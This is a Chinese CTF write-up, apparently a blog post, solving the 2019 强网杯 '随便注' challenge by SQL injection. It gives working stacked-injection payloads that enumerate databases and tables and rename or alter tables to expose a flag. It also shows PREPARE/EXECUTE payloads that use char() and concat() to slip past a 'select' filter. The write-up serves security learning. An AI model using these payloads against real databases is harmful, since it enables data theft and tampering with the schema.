[强网杯 2019]随便注

打开显示该页面

开发和安全缺一不可。。

image-20210616001352469

那应该就是sql注入了

方法一:重命名+堆叠注入

看看有啥过滤没

1. 发现可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag

1' or 1=1#

image-20210616093212655

2. 先看一下库名,发现很多函数都被过滤了。由于select被过滤了,union查询也就用不上了。

1' union select  1,database()#

image-20210616093434062

3. 尝试一下堆叠注入,果然可以,把全部库名都给查出来了

0';show databases;#

image-20210616093606597

再查看一下表名

0';show tables;#

image-20210616093710311

5. 查看表结构 ,可以发现flag在1919810931114514表里

0';desc `1919810931114514`;#

image-20210616093745830

注意:

在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

mysql> SELECT * FROM `table` WHERE `id` = '123' ;

1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关

6. 再查看words表的结构,发现一共有id和data两列。

0';desc words;#

image-20210616094118678

那么可以猜测我们提交查询的窗口就是在这个表里查询数据的

7. 那么查询语句很有可能是 :

selsect id,data from words where id =

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

payload:

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

image-20210616100630688

8. 再用一下一开始的操作id=1' or 1=1#

id=1' or 1=1#

image-20210616100707790

方法二:预处理语句+堆叠注入

预处理语句使用方式:

PREPARE name from '[my sql sequece]';  //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句

预定义语句也可以通过变量进行传递: 

SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)<----->'select'

payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1``';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

image-20210616101203571

最后修改:2021 年 06 月 16 日 11 : 25 AM
如果觉得我的文章对你有用,请随意赞赏